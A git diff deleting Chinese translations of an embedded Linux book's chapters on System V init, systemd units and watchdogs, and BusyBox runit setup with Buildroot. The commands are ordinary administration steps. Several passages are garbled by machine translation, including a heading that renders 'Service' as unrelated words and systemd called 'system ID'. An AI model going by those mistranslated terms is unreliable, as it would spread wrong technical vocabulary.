守护进程;换句话说,它派生并在后台运行。 这种 -程序的代码在`MELP/Chapter13/simpleserver`中。 您将需要这样的`init.d`脚本,您可以在`MELP/Chapter13/simpleserver-sysvinit`中找到该脚本: - -```sh -#! /bin/sh - -case "$1" in -      start) -           echo "Starting simpelserver" -           start-stop-daemon -S -n simpleserver -a /usr/bin/simpleserver -           ;; -     stop) -           echo "Stopping simpleserver" -           start-stop-daemon -K -n simpleserver -           ;; -     *) -           echo "Usage: $0 {start|stop}" -           exit 1 -esac - -exit 0 -``` - -`start-stop-daemon`是一个帮助器函数,它可以更容易地操作这样的后台进程。 它最初来自 Debian 安装程序包`dpkg`,但大多数嵌入式系统都使用 BusyBox 的安装包。 它使用`-S`参数启动守护进程,确保任何时候都不会有超过一个实例在运行。 要停止守护进程,可以使用`-K`参数,该参数会使它发送一个信号(默认情况下是`SIGTERM`),以指示守护进程该终止了。 - -要使`simpleserver`可操作,请将脚本复制到名为 -`/etc/init.d/simpleserver`的目标目录,并使其可执行。 然后,从要运行此程序的每个运行级别添加链接;在本例中,仅添加默认运行级别`5`: - -```sh -# cd /etc/init.d/rc5.d -# ln -s ../init.d/simpleserver S99simpleserver -``` - -数字`99`表示这将是最后启动的程序之一。 请记住,可能还有其他以`S99`开头的链接,在这种情况下,`rc`脚本将只按词法顺序运行它们。 - -在嵌入式设备中,很少会过于担心关机操作,但如果需要执行某些操作,请将删除链接添加到级别`0`和`6`: - -```sh -# cd /etc/init.d/rc0.d -# ln -s ../init.d/simpleserver K01simpleserver -# cd /etc/init.d/rc6.d -# ln -s ../init.d/simpleserver K01simpleserver -``` - -我们可以避开运行级别和顺序,以便更直接地测试和调试`init.d`脚本。 - -## 启动和停止服务 - -您可以通过直接调用中的脚本与`/etc/init.d`中的脚本进行交互。 以下是使用`syslog`脚本的示例,该脚本控制`syslogd`和`klogd`守护进程: - -```sh -# /etc/init.d/syslog --help -Usage: syslog { start | stop | restart } -# /etc/init.d/syslog stop -Stopping syslogd/klogd: stopped syslogd (pid 198) -stopped klogd (pid 201) -done -# /etc/init.d/syslog start -Starting syslogd/klogd: done -``` - -所有脚本都实现`start`和`stop`,它们也应该实现`help`。 有些还实现了`status`,它会告诉您服务是否正在运行。 仍然使用 System V`init`的主流发行版有一个名为`service`的命令来启动和停止服务,该命令隐藏了直接调用脚本的细节。 - -System V`init`是一个简单的`init`守护进程,已经为 Linux 管理员服务了几十年。 虽然运行级别提供了比 BusyBox`init`更复杂的程度,但 System V`init`仍然缺乏监视服务并在需要时重新启动它们的能力。 随着 system V`init`开始显示出它的年龄,大多数流行的 Linux 发行版都转移到了`systemd`。 - -# 系统 ID - -`systemd`、[https://www.freedesktop.org/wiki/Software/systemd/](https://www.freedesktop.org/wiki/Software/systemd/)将自身定义为*系统和服务管理器*。 该项目是由 Lennart Poetling 和 Kay Sievers 于 2010 年发起的,目的是创建一套集成的工具,用于管理基于`init`守护进程的 Linux 系统。 它还包括设备管理(`udev`)和日志记录等。 `systemd`是最先进的,而且仍在快速发展。 它在桌面和服务器 Linux 发行版上很常见,在嵌入式 Linux 系统上也越来越流行,特别是在更复杂的设备上。 那么,对于嵌入式系统,它有什么比 System V`init`更好的呢? - -* 配置更简单、更符合逻辑(一旦您理解了)。 与 System V`init`有时令人费解的 shell 脚本不同,`systemd`具有以明确定义的格式编写的单元配置文件。 -* 服务之间有明确的依赖关系,而不是仅仅设置脚本运行顺序的两位数代码。 -* 很容易设置每个服务的权限和资源限制,这对安全性很重要。 -* 它可以监控服务,并在需要时重新启动服务。 -* 服务并行启动,潜在地缩短了启动时间。 - -这里既不可能也不适合对`systemd`进行完整的描述。 与 System V`init`一样,我将根据 Yocto Project3.1 版本`systemd`版本`244`生成的配置示例,重点介绍嵌入式用例。 -我将简要介绍一下,然后向您展示一些具体的示例。 - -## 用 Yocto Project 和 Buildroot 构建 systemd - -Yocto Project 中的默认`init`后台进程是 System V。要选择`systemd`,请将以下行添加到您的`conf/local.conf`: - -```sh -INIT_MANAGER = "systemd" -``` - -Buildroot 默认使用 BusyBox`init`。 您可以通过在**系统配置**|**初始化系统**菜单中选择`systemd`至`menuconfig`。 您还必须将工具链配置为对 C 库使用`glibc`,因为`systemd`不支持`uClibc-ng`或`musl`。 此外,内核的版本和配置也有限制。 在`systemd`源代码顶层的`README`文件中有一个完整的库和内核依赖项列表。 - -## 介绍目标、服务和单位 - -在描述`systemd`的工作原理之前,我需要介绍以下三个关键概念: - -* **单元**:描述目标、服务和其他几项内容的配置文件。 单位是包含属性和值的文本文件。 -* **服务**:可以启动和停止的守护进程,非常类似于 System V`init`服务。 -* **目标**:一组服务,类似于系统 V`init`运行级,但比系统 V`init`运行级更通用。 有一个默认目标,即在 - 启动时启动的服务组。 - -您可以使用`systemctl`命令更改状态并了解正在发生的情况。 - -### 单位 - -配置的基本项目是机组文件。 单元文件位于三个不同的位置: - -* `/etc/systemd/system`:本地配置 -* `/run/systemd/system`:运行时配置 -* `/lib/systemd/system`:分布范围的配置 - -查找设备时,`systemd`会按该顺序搜索目录,一旦找到匹配项就停止,并允许您通过在`/etc/systemd/system`中放置同名设备来覆盖分布范围内设备的行为。 您可以通过创建一个空的或链接到`/dev/null`的本地文件来完全禁用设备。 - -所有单元文件都以标记为`[Unit]`的部分开始,该部分包含基本信息和从属关系。 作为示例,这里是 D-BUS 服务的`Unit`部分`/lib/systemd/system/dbus.service`: - -```sh -[Unit] -Description=D-Bus System Message Bus -Documentation=man:dbus-daemon(1) -Requires=dbus.socket -``` - -除了对文档的描述和参考之外,还存在对通过`Requires`关键字表示的`dbus.socket`单位的依赖关系。 这告诉`systemd`在启动 D-BUS 服务时创建一个本地套接字。 - -`Unit`部分中的依赖关系通过关键字`Requires`、`Wants`和`Conflicts`表示: - -* `Requires`:此设备所依赖的设备列表,这些设备在此设备启动时启动。 -* `Wants`:较弱形式的`Requires`;列出的设备会启动,但如果其中任何一个发生故障,当前设备不会停止。 -* `Conflicts`:负依赖;列出的单元在此单元启动时停止,反之,如果其中一个单元启动,则此单元停止。 - -这三个关键字定义**传出依赖项**。 它们主要用于在目标之间创建依赖关系。 还有一组称为**传入依赖项**的依赖项,用于在*服务*和*目标*之间创建链接。 换句话说,传出依赖项用于创建系统从一种状态转到另一种状态时需要启动的目标列表,传入依赖项用于确定在任何特定状态下应该启动或停止的服务。 传入的依赖关系是由`WantedBy`关键字创建的,我将在接下来的关于*添加您自己的服务*的小节中描述这一点。 - -处理依赖关系会生成应该启动或停止的单元列表。 -`Before`和`After`关键字确定它们的启动顺序。 停止顺序正好与开始顺序相反: - -* `Before`:在列出的机组之前启动本机组。 -* `After`:在列出的机组后启动本机组。 - -在以下示例中,`After`指令确保在网络子系统启动后启动 Web 服务器: - -```sh -[Unit] -Description=Lighttpd Web Server -After=network.target -``` - -在没有`Before`或`After`指令的情况下,单元将并行启动或停止,没有特定的顺序。 - -### 服务 / 宗教仪式 / 成套餐具 / 服役 - -**服务**是可以启动和停止的守护进程,相当于 System V`init`服务。 服务是一种名称以`.service`结尾的单元文件类型,例如`lighttpd.service`。 - -服务单元有一个`[Service]`部分,描述了它应该如何运行。 以下是`lighttpd.service`中的相关部分: - -```sh -[Service] -ExecStart=/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -D -ExecReload=/bin/kill -HUP $MAINPID -``` - -这些是启动和重新启动服务时要运行的命令。 您可以在此处添加更多 -配置点,因此请参阅`systemd.service(5)`的手册页。 - -### 目标 - -**目标**是对服务(或其他类型的单元)进行分组的另一种类型的单元。 目标 -在这方面是元服务,并且还充当同步点。 目标 -只有依赖项。 目标的名称以`.target`结尾,例如, -`multi-user.target`。 目标是期望的状态,它执行与系统 V`init`运行级别相同的角色。 例如,这是`multi-user.target`的完整单位: - -```sh -[Unit] -Description=Multi-User System -Documentation=man:systemd.special(7) -Requires=basic.target -Conflicts=rescue.service rescue.target -After=basic.target rescue.service rescue.target -AllowIsolate=yes -``` - -这意味着基本目标必须在多用户目标之前启动。 它还说,由于与救援目标冲突,启动救援目标将导致多用户目标首先停止。 - -## systemd 如何引导系统 - -现在,我们可以看到`systemd`是如何实现引导的。 由于`/sbin/init`被象征性地链接到`/lib/systemd/systemd`,因此内核运行`systemd`。 它运行默认目标`default.target`,该目标始终是指向所需目标的链接,例如`multi-user.target`用于文本登录,`graphical.target`用于图形环境。 例如,如果默认目标是`multi-user.target`,您将找到此符号链接: - -```sh -/etc/systemd/system/default.target -> /lib/systemd/system/multi-user.target -``` - -可以通过在内核命令行 -上传递`system.unit=`来覆盖默认目标。 您可以使用`systemctl`查找默认目标,如下所示: - -```sh -# systemctl get-default -multi-user.target -``` - -启动目标(如`multi-user.target`)会创建一个依赖关系树,使系统进入工作状态。 在一个典型的系统中,`multi-user.target`依赖于`basic.target`,而`basic.target`依赖于`sysinit.target`,而`sysinit.target`依赖于需要提前启动的服务。 可以使用`systemctl list-dependencies`打印文本图形。 - -您还可以使用以下内容列出所有服务及其当前状态: - -```sh -# systemctl list-units --type service -``` - -您可以使用以下命令对目标执行相同的操作: - -```sh -# systemctl list-units --type target -``` - -既然我们已经看到了系统的依赖关系树,那么我们如何将额外的服务插入到该树中呢? - -## 添加您自己的服务 - -使用与前面相同的`simpleserver`示例,这里的是一个服务单位,您可以在`MELP/Chapter13/simpleserver-systemd`中找到它: - -```sh -[Unit] -Description=Simple server -[Service] -Type=forking -ExecStart=/usr/bin/simpleserver -[Install] -WantedBy=multi-user.target -``` - -`[Unit]`部分仅包含说明,以便在使用`systemctl`和其他命令列出 -时正确显示。 没有依赖关系;正如我所说的,它 -非常简单。 - -`[Service]`部分指向可执行文件,并有一个标志指示它是派生的。 如果它更简单并在前台运行,`systemd`将为我们执行守护进程,而不需要`Type=forking`。 - -`[Install]`部分在`multi-user.target` -上创建传入依赖项,以便在系统进入多用户模式时启动我们的服务器。 - -一旦机组保存在`/etc/systemd/system/simpleserver.service`、 -中,您就可以使用`systemctl start simpleserver`和`sytemctl stop simpleserver`命令启动和停止它。 您还可以使用`systemctl` -查找其当前状态: - -```sh -# systemctl status simpleserver -simpleserver.service - Simple server -  Loaded: loaded (/etc/systemd/system/simpleserver.service; disabled) -  Active: active (running) since Thu 1970-01-01 02:20:50 UTC; 8s ago -Main PID: 180 (simpleserver) -  CGroup: /system.slice/simpleserver.service -          └─180 /usr/bin/simpleserver -n -Jan 01 02:20:50 qemuarm systemd[1]: Started Simple server. -``` - -此时,它将仅根据命令启动和停止,如下所示。 要使其持久化,需要向目标添加个永久依赖项。 这就是单元中`[Install]`部分的用途;它说明当启用此服务时,它将依赖于`multi-user.target`,因此将在引导时启动。 您可以使用`systemctl enable`启用它,如下所示: - -```sh -# systemctl enable simpleserver -Created symlink from /etc/systemd/system/multiuser.target.wants/simpleserver.service to /etc/systemd/system/simpleserver.service. -``` - -现在,您可以看到服务如何添加依赖项,而不必继续编辑目标单元文件。 目标可以有一个名为`.target.wants`的目录,该目录可以包含指向服务的链接。 这与将依赖单元添加到目标中的`[Wants]`列表完全相同。 在本例中,您会发现此链接已创建: - -```sh -/etc/systemd/system/multi-user.target.wants/simpleserver.service -> /etc/systemd/system/simpleserver.service -``` - -如果这是一项重要的服务,则可能需要在它失败时重新启动它。 您可以通过将此标志添加到`[Service]`部分来完成此操作: - -```sh -Restart=on-abort -``` - -`Restart`的其他选项有`on-success`、`on-failure`、`on-abnormal`、`on-watchdog`、`on-abort`或`always`。 - -## 添加看门狗 - -在嵌入式设备中,看门狗是的常见要求:如果关键服务停止工作,您需要采取行动,通常是通过重置系统。 在大多数嵌入式 SoC 上,都有一个硬件看门狗,可通过`/dev/watchdog`器件节点访问。 **看门狗**在启动时使用超时进行初始化,然后必须在该时间段内重置,否则看门狗将被触发,系统将重新启动。 与看门狗驱动程序的接口在`Documentation/watchdog`的内核源代码中描述,驱动程序的代码在`drivers/watchdog`中。 - -如果有两个或多个关键服务需要由监视器保护 -,就会出现问题。 `systemd`有一个有用的功能,可以在多个服务之间分发监视程序。 - -`systemd`可以配置为期待来自服务的常规`keepalive`调用,并在未收到调用时采取操作,从而创建针对每个服务的软件监视器。 要使其正常工作, -您必须向守护进程添加代码以发送`keepalive`消息。 它需要 -检查`WATCHDOG_USEC`环境变量中的非零值,然后在此时间内调用`sd_notify(false, "WATCHDOG=1")`(建议看门狗超时的一半)。 在`systemd`源代码中有一些示例。 - -要在服务单元中启用看门狗,请将如下内容添加到 -`[Service]`部分: - -```sh -WatchdogSec=30s -Restart=on-watchdog -StartLimitInterval=5min -StartLimitBurst=4 -StartLimitAction=reboot-force -``` - -在本例中,服务预期每 30 秒调用一次`keepalive`。 如果发送失败,服务将被重启,但如果在 5 分钟内重启次数超过 4 次,`systemd`将强制立即重启。 同样,在`systemd.service(5)`手册页中有这些设置的完整说明。 - -像这样的看门狗负责单个服务,但如果`systemd`本身出现故障、内核崩溃或硬件锁定怎么办? 在这些情况下,我们需要告诉`systemd`使用看门狗驱动程序:只需将`RuntimeWatchdogSec=NN`加到`/etc/systemd/system.conf.systemd`,这将在该时间段内重置看门狗,因此如果`systemd`由于某种原因失败,系统将重置。 - -## 对嵌入式 Linux 的影响 - -`systemd`有很多在嵌入式 Linux 中很有用的特性,包括我在本简要描述中没有提到的许多特性,比如使用片的资源控制(在`systemd.slice(5)`和`systemd.resource-control(5)`的手册页中介绍)、设备管理(`udev(7)`)和系统日志记录工具(`journald(5)`)。 - -您必须平衡它的大小:即使只有核心组件`systemd`、`udevd`和`journald`的最小构建,它也接近 10MIB 的存储,包括共享库。 - -您还必须记住,`systemd`开发紧跟内核和`glibc`,因此它不能在比`systemd`发布时间早一到两年的内核和`glibc`上工作。 - -# 摘要 - -每个 Linux 设备都需要某种`init`程序。 如果您设计的系统在启动时只需启动少量守护进程,并且在启动后保持相当静态,那么 BusyBox`init`就足以满足您的需求。 如果您使用 Buildroot 作为构建系统,这通常是个不错的选择。 - -另一方面,如果您的系统在引导时或运行时具有 -服务之间的复杂依赖关系,并且您有存储空间,那么`systemd`将是最佳选择。 即使没有复杂性,`systemd`在处理看门狗、远程日志记录等方面也有一些有用的特性,因此您当然应该认真考虑它。 - -同时,系统 V`init`继续存在。 这是很好理解的,对于我们来说重要的每个组件都已经存在`init`脚本。 它仍然是 Yocto 项目参考分布(POKY)的默认`init`。 - -在减少引导时间方面,对于类似的工作负载,`systemd`比 System V`init`更快。 但是,如果您正在寻找一种非常快速的引导方式,那么这两种方式都不能用最少的引导脚本来击败简单的 BusyBox`init`。 - -在下一章中,我们将仔细研究一个鲜为人知的、非常适合嵌入式 Linux 系统的`init`系统。 BusyBox`runit`提供了`systemd`的功能和灵活性 -,而不会增加复杂性和开销。 如果 Buildroot 是您选择的构建系统 -,而 BusyBox`init`不能满足您的需求,那么有很多理由考虑使用 BusyBox`runit`。 我们将了解这些原因,并在此过程中获得更多使用 Buildroot 的实践经验。 - -# 进一步阅读 - -* *systemd System and Service Manager*: [https://www.freedesktop.org/wiki/Software/systemd/](https://www.freedesktop.org/wiki/Software/systemd/) - - 在前面的 URL 页面底部有很多有用的链接。 \ No newline at end of file diff --git a/docs/master-emb-linux-prog/14.md b/docs/master-emb-linux-prog/14.md deleted file mode 100644 index aa56672a..00000000 --- a/docs/master-emb-linux-prog/14.md +++ /dev/null @@ -1,879 +0,0 @@ -# 十四、从 BusyBox Runit 开始 - -在上一章中,我们研究了经典的 System V`init`和最先进的`systemd`程序。 我们还谈到了 BusyBox 的最小`init`程序。 现在,我们来看看 BusyBox 对`runit`程序的实现。 BusyBox`runit`在系统 V`init`的简单性和`systemd`的灵活性之间取得了合理的平衡。 出于这个原因,`runit`的完整版在流行的现代 Linux 发行版(如 void)中使用。 虽然`systemd`可能在云中占据主导地位,但对于许多嵌入式 Linux 系统来说, -通常是矫枉过正。 BusyBox`runit`提供了服务监控和专用服务日志记录等高级功能,没有`systemd`的复杂性和开销 -。 - -在本章中,我将向您展示如何将系统划分为单独的 BusyBox`runit`服务,每个服务都有自己的目录和`run`脚本。 接下来,我们将了解如何使用`check`脚本强制某些服务等待其他服务启动。 然后,我们将向服务添加专用日志记录,并了解如何配置日志轮换。 最后,我们以一个服务通过写入命名管道向另一个服务发送信号的示例结束。 与 System V`init`不同,BusyBox`runit`服务是并行启动的,而不是顺序启动,这可以显著加快启动速度。 您对`init`计划的选择会对您的产品的行为和用户体验产生明显的影响。 - -在本章中,我们将介绍以下主题: - -* 获取 BusyBox`runit` -* 创建服务目录和文件 -* 服务监管 -* 取决于其他服务 -* 专用服务日志记录 -* 发信号通知服务 - -# 技术要求 - -要按照示例操作,请确保您具备以下条件: - -* 一种基于 Linux 的主机系统 -* 适用于 Linux 的蚀刻器 -* 一种 microSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* 覆盆子派 4 -* 一种 5V 3A USB-C 电源 - -您应该已经为[*第 6 章*](06.html#_idTextAnchor164),*选择构建系统*安装了 Buildroot 的 2020.02.9 LTS 版本。 如果没有,请参考*Buildroot 用户手册*([https://buildroot.org/downloads/manual/manual.html](https://buildroot.org/downloads/manual/manual.html))的*系统要求*部分,然后再按照[*第 6 章*](06.html#_idTextAnchor164)中的说明在您的 LINUX 主机上安装 Buildroot。 - -本章的所有代码都可以在本书的 GitHub 存储库的`Chapter14`文件夹中找到:[https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition](https://github.com/PacktPublishing/Mastering-Embedded-Linux-Programming-Third-Edition)。 - -# 获取 BusyBox Runit - -要准备本章的系统,我们需要执行以下操作: - -1. 导航到为[*第 6 章*](06.html#_idTextAnchor164)、*选择生成系统*: - - ```sh - $ cd buildroot - ``` - - 克隆 Buildroot 的目录 -2. Check to see if `runit` is provided by BusyBox: - - ```sh - $ grep Runit package/busybox/busybox.config - # Runit Utilities - ``` - - 在撰写本文时,BusyBox`runit`仍然是 Buildroot 2020.02.9LTS 版本中的一个可用选项。 如果在以后的版本中再也找不到 BusyBox`runit`,请恢复到该标记。 - -3. Undo any changes and delete any untracked files or directories: - - ```sh - $ make clean - $ git checkout . - $ git clean –-force -d - ``` - - 请注意,`git clean --force`将删除 Nova U-Boot 修补程序以及我们在前面练习中添加到 Buildroot 的任何其他文件。 - -4. 创建名为`busybox-runit`的新分支以捕获您的工作: - - ```sh - $ git checkout -b busybox-runit - ``` - -5. 将 BusyBox`runit`添加到树莓 PI 4 的默认配置: - - ```sh - $ cd configs - $ cp raspberrypi4_64_defconfig rpi4_runit_defconfig - $ cd .. - $ cp package/busybox/busybox.config \ - board/raspberrypi/busybox-runit.config - $ make rpi4_runit_defconfig - $ make menuconfig - ``` - -6. From the main menu, drill down into the **Toolchain** | **Toolchain type** submenu and select **External toolchain**: - - ![Figure 14.1 – Selecting External toolchain](img/B11566_14_01.jpg) - - 图 14.1-选择外部工具链 - -7. Back out one level and drill down into the **Toolchain** submenu. Select the **Linaro AArch64** toolchain, then back out another level to return to the main menu: - - ![Figure 14.2 – Selecting the Linaro AArch64 toolchain](img/B11566_14_02.jpg) - - 图 14.2-选择 Linaro AArch64 工具链 - -8. BusyBox 应该已经被选为`init`系统,但是您可以通过导航到**System Configuration**|**Init System**子菜单并观察到选择了**BusyBox**而不是**systemV**或**systemd**来确认这一点。 从**Init System**子菜单返回到主菜单。 -9. From the main menu, drill down into the **Target packages** | **BusyBox configuration file to use?** text field under **BusyBox**: - - ![Figure 14.3 – Selecting a BusyBox configuration file to use](img/B11566_14_03.jpg) - - 图 14.3-选择要使用的 BusyBox 配置文件 - -10. Replace the `package/busybox/busybox.config` string value in that text field with `board/raspberrypi/busybox-runit.config`: - - ![Figure 14.4 – BusyBox configuration file to use?](img/B11566_14_04.jpg) - - 图 14.4-要使用的 BusyBox 配置文件? - -11. 如果询问是否保存新配置,请退出`menuconfig`的并选择**是**。 默认情况下,Buildroot 将新配置保存到名为`.config`的文件中。 -12. 使用 BusyBox 配置的新位置更新`configs/rpi4_runit_defconfig`: - - ```sh - $ make savedefconfig - ``` - -13. 现在让我们开始为`runit`: - - ```sh - $ make busybox-menuconfig - ``` - - 配置 BusyBox -14. Once inside `busybox-menuconfig`, you should notice a submenu called **Runit Utilities**. Drill down into that submenu and select all of the options on that menu page. The `chpst`, `setuidgid`, `envuidgid`, `envdir`, and `softlimit` utilities are command-line tools that are frequently referenced by service `run` scripts, so it is best to include them all. The `svc` and `svok` utilities are holdovers from `daemontools` so you can choose to opt out of them if you feel so inclined: - - ![Figure 14.5 – Runit Utilities](img/B11566_14_05.jpg) - - 图 14.5-Runit 实用程序 - -15. 从**Runit Utilities**子菜单中,向下钻取到服务的**默认目录**文本字段。 -16. Enter `/etc/sv` in the **Default directory for services** text field: - - ![Figure 14.6 – Default directory for services](img/B11566_14_06.jpg) - - 图 14.6-服务的默认目录 - -17. 当询问是否保存新配置时,退出`busybox-menuconfig`并选择**是**。 与`menuconfig`选项类似,`busybox-menuconfig`只将新的 BusyBox 配置保存到输出目录中的`.config`文件。 在 Buildroot 的 2020.02.9 LTS 版本中,默认情况下,BusyBox 输出目录为`output/build/busybox-1.31.1`。 -18. 将您的更改保存到`board/raspberrypi/busybox-runit.config`: - - ```sh - $ make busybox-update-config - ``` - -19. BusyBox includes an `inittab` file for its `init` program in Buildroot's `package/busybox` directory. This configuration file instructs BusyBox `init` to start user space by mounting various filesystems and linking file descriptors to `stdin`, `stdout`, and `stderr` device nodes. In order for BusyBox `init` to transfer control to BusyBox `runit`, we need to replace the following lines in `package/busybox/inittab`: - - ```sh - # now run any rc scripts - ::sysinit:/etc/init.d/rcS - ``` - - 这些行需要替换为它们的 BusyBox`runit`等效行: - - ```sh - # now switch over to runit - null::respawn:runsvdir /etc/sv - ``` - -20. We also need to remove the following lines from BusyBox's `inittab`: - - ```sh - # Stuff to do before rebooting - ::shutdown:/etc/init.d/rcK - ``` - - 删除的`::shutdown`命令不需要替换行,因为 BusyBox`runit`会在重新启动之前自动终止其监控的进程。 - -现在您有了新的`configs/rpi4_runit_defconfig`和`board/raspberrypi/busybox-runit.config`文件以及修改后的`package/busybox/inittab`文件,您可以使用这些文件在 Raspberry PI 4 的自定义 Linux 映像上启用 BusyBox`runit`。将这三个文件提交到 Git,这样您的工作就不会丢失。 - -要构建自定义映像,请使用以下命令: - -```sh -$ make rpi4_runit_defconfig -$ make -``` - -构建完成后,会将可引导映像写入`outpimg/sdcard.img`文件。 使用 Etcher 将此图像闪存到 microSD 卡上,将其插入 Raspberry PI 4,然后通电。 系统除了启动之外不会做太多事情,因为`/etc/sv`中还没有服务可供`runsvdir`启动。 - -要玩 BusyBox`runit`,请将串行电缆连接到您的 Raspberry PI 4 上,然后 -以`root`身份登录,不需要密码。 我们没有向此映像添加`connman`,因此输入 -`/sbin/ifup -a`以打开以太网接口: - -```sh -# /sbin/ifup -a -[ 187.076662] bcmgenet: Skipping UMAC reset -[ 187.151919] bcmgenet fd580000.genet: configuring instance for external RGMII (no delay) -udhcpc: started, v1.31.1 -udhcpc: sending discover -[ 188.191465] bcmgenet fd580000.genet eth0: Link is Down -udhcpc: sending discover -[ 192.287490] bcmgenet fd580000.genet eth0: Link is Up - 1Gbps/Full - flow control rx/tx -udhcpc: sending discover -udhcpc: sending select for 192.168.1.130 -udhcpc: lease of 192.168.1.130 obtained, lease time 86400 -deleting routers -adding dns 192.168.1.254 -``` - -我们将在下一节中研究`runit`服务目录的结构和布局。 - -# 创建服务目录和文件 - -`runit`是重新实施`daemontools`过程监督工具包。 它是由 Gerrit Pape 创建的,作为 System V`init`和其他 Unix`init`方案的替代品。 在撰写本文时,`runit`上最好的两个信息来源是 Pape 的网站([http://smarden.org/runit/](http://smarden.org/runit/))和 void Linux 的在线文档。 - -BusyBox 的`runit`实现与标准`runit`的主要区别在于 -自文档化。 例如,`sv --help`没有提到`sv`实用程序的`start`和`check`选项,实际上 BusyBox 的实现支持这些选项。 BusyBox`runit`的源代码可以在 BusyBox 的`output/build/busybox-1.31.1/runit`目录中找到。 您还可以在[https://git.busybox.net/busybox/tree/runit](https://git.busybox.net/busybox/tree/runit)在线浏览 BusyBox`runit`源代码的最新版本。 如果 BusyBox 的`runit`实现中有任何错误或功能缺失,您可以通过修补 Buildroot 的`busybox`包来修复或添加它们。 - -Arch Linux 发行版支持同时使用 BusyBox`runit`和`systemd`进行简单的进程监控。 你可以在 Arch Linux Wiki 上阅读更多关于如何做到这一点的内容。 BusyBox 默认为`init`,并且没有记录将 BusyBox`init`替换为`runit`的步骤。 出于这些原因,我不会将 BusyBox`init`替换为`runit`,而是将向您展示如何使用 BusyBox`runit`向 BusyBox`init`添加服务监管。 - -## \\t0 抯服务布局目录 - -以下是`runit`上的 void Linux 发行版原始文档(现已弃用)中的引语: - -服务目录只需要一个文件,即名为`run`的可执行文件,该文件预计会`exec`前台的一个进程。 - -除了必需的`run`脚本外,`runit`服务目录还可以包含`finish`脚本、`check`脚本和`conf`文件。 `finish`脚本在服务关闭或进程停止时运行。 `run`脚本创建一个`conf`文件,以便在`run`内部使用任何环境变量之前对其进行设置。 - -与 BusyBox`init``/etc/init.d`目录一样,`/etc/sv`目录通常是存储`runit`服务的位置。 以下是一个简单的嵌入式 Linux 系统的 BusyBox`init`脚本列表: - -```sh -$ ls output/target/etc/init.d -S01syslogd S02sysctl S21haveged S45connman S50sshd rcS -S02klogd S20urandom S30dbus S49ntp rcK -``` - -Buildroot 将这些 BusyBox`init`脚本作为各种守护进程的包的一部分提供。 对于 BusyBox`runit`,我们必须自己生成这些启动脚本。 - -下面是同一系统的 BusyBox`runit`服务列表: - -```sh -$ ls -D output/target/etc/sv -bluetoothd dbus haveged ntpd syslogd -connmand dcron klogd sshd watchdog -``` - -每个 BusyBox`runit`服务都有自己的目录,其中包含一个可执行的`run`脚本。 也在目标映像上的 BusyBox`init`脚本将不会在启动时运行,因为我们从`inittab`中删除了`::sysinit:/etc/init.d/rcS`。 与`init`脚本不同,要使用`runit`,`run`脚本需要在前台运行,而不是在后台运行。 - -Void Linux 发行版是`runit`服务文件的宝库。 以下是`sshd`的 void`run`脚本: - -```sh -#!/bin/sh -# Will generate host keys if they don't already exist -ssh-keygen -A >/dev/null 2>&1 -[ -r conf ] && . ./conf -exec /usr/sbin/sshd -D $OPTS 2>&1 -``` - -`runsvdir`实用程序启动并监控在 -`/etc/sv`目录下定义的服务集合。 因此,需要将`sshd`的`run`脚本安装为 -`/etc/sv/sshd/run`,以便`runsvdir`可以在启动时找到它。 它还必须是可执行的,否则 BusyBox`runit`将无法启动它。 - -将`/etc/sv/sshd/run`的内容与 Buildroot 的 -`/etc/init.d/S50sshd`的摘录进行对比: - -```sh -start() { - # Create any missing keys - /usr/bin/ssh-keygen -A - printf "Starting sshd: " - /usr/sbin/sshd - touch /var/lock/sshd - echo "OK" -} -``` - -`sshd`默认在后台运行。 `-D`选项强制`sshd`在前台运行。 `runit`希望您在`run`脚本中以`exec`作为前台命令的前缀。 `exec`命令替换当前进程中的当前程序。 最终结果是,从`/etc/sv/sshd`开始的`./run`进程在没有分叉的情况下变成了`/usr/sbin/sshd -D`进程: - -```sh -# ps aux | grep "[s]shd" - 201 root runsv sshd - 209 root /usr/sbin/sshd -D -``` - -请注意,`sshd``run`脚本为`$OPTS`环境变量提供了一个`conf`文件。 如果`/etc/sv/sshd`内不存在`conf`文件,则`$OPTS`未定义且为空,在这种情况下正好可以。 与大多数`runit`服务一样,在系统关闭或重新启动之前,`sshd`不需要`finish`脚本来释放任何资源。 - -## 服务配置 - -Buildroot 在其包中包含的`init`脚本是 BusyBox`init`脚本。 这些`init`脚本需要移植到 BusyBox`runit`,并安装到`output/target/etc/sv`下的不同目录。 与单独修补每个包相比,我发现将所有服务文件捆绑在 Buildroot 树外部的`rootfs`覆盖包或伞包中更容易。 Buildroot 通过`BR2_EXTERNAL``make`变量启用树外定制,该变量指向包含定制的目录。 - -将 Buildroot 放入`br2-external`树的最常见方法是将其作为子模块嵌入到 Git 存储库的顶层: - -```sh -$ cat .gitmodules -[submodule "buildroot"] - path = buildroot - url = git://git.buildroot.net/buildroot - ignore = dirty - branch = 15a05e6d5a875759d217d61b3c7b31ec87ea4eb5 -``` - -将 Buildroot 作为子模块嵌入可以简化对您添加到 Buildroot 的任何包或应用到 Buildroot 的补丁的维护。 该子模块被固定在一个标记上,以便在故意升级 Buildroot 之前,任何树外定制都保持稳定。 请注意,上面`buildroot`子模块的提交散列被固定到该 Buildroot LTS 版本的`2020.02.9`标记上: - -```sh -$ cd buildroot -$ git show --summary -commit 15a05e6d5a875759d217d61b3c7b31ec87ea4eb5 (HEAD -> busybox-runit, tag: 2020.02.9) -Author: Peter Korsgaard -Date: Sun Dec 27 17:55:12 2020 +0100 - Update for 2020.02.9 - - Signed-off-by: Peter Korsgaard -``` - -当`buildroot`是父`BR2_EXTERNAL`目录的子目录时,要运行`make`,我们需要传递一些额外的参数: - -```sh -$ make -C $(pwd)/buildroot BR2_EXTERNAL=$(pwd) O=$(pwd)/output -``` - -以下是 Buildroot 为`br2-external`树推荐的目录结构: - -```sh -+-- board/ -| +-- / -| +-- / -| +-- linux.config -| +-- busybox.config -| +-- -| +-- post_build.sh -| +-- post_image.sh -| +-- rootfs_overlay/ -| | +-- etc/ -| | +-- -| +-- patches/ -| +-- foo/ -| | +-- -| +-- libbar/ -| +-- -+-- configs/ -| +-- _defconfig -+-- package/ -| +-- / -| +-- package1/ -| | +-- Config.in -| | +-- package1.mk -| +-- package2/ -| +-- Config.in -| +-- package2.mk -+-- Config.in -+-- external.mk -+-- external.desc -``` - -请注意,您在上一节中创建的自定义`rpi4_runit_defconfig`和`busybox-runit.config` -文件将插入到此树中。 根据 Buildroot 的指导方针,这两个配置应该是特定于电路板的文件。 `_defconfig`以正在配置映像的电路板的名称作为前缀。 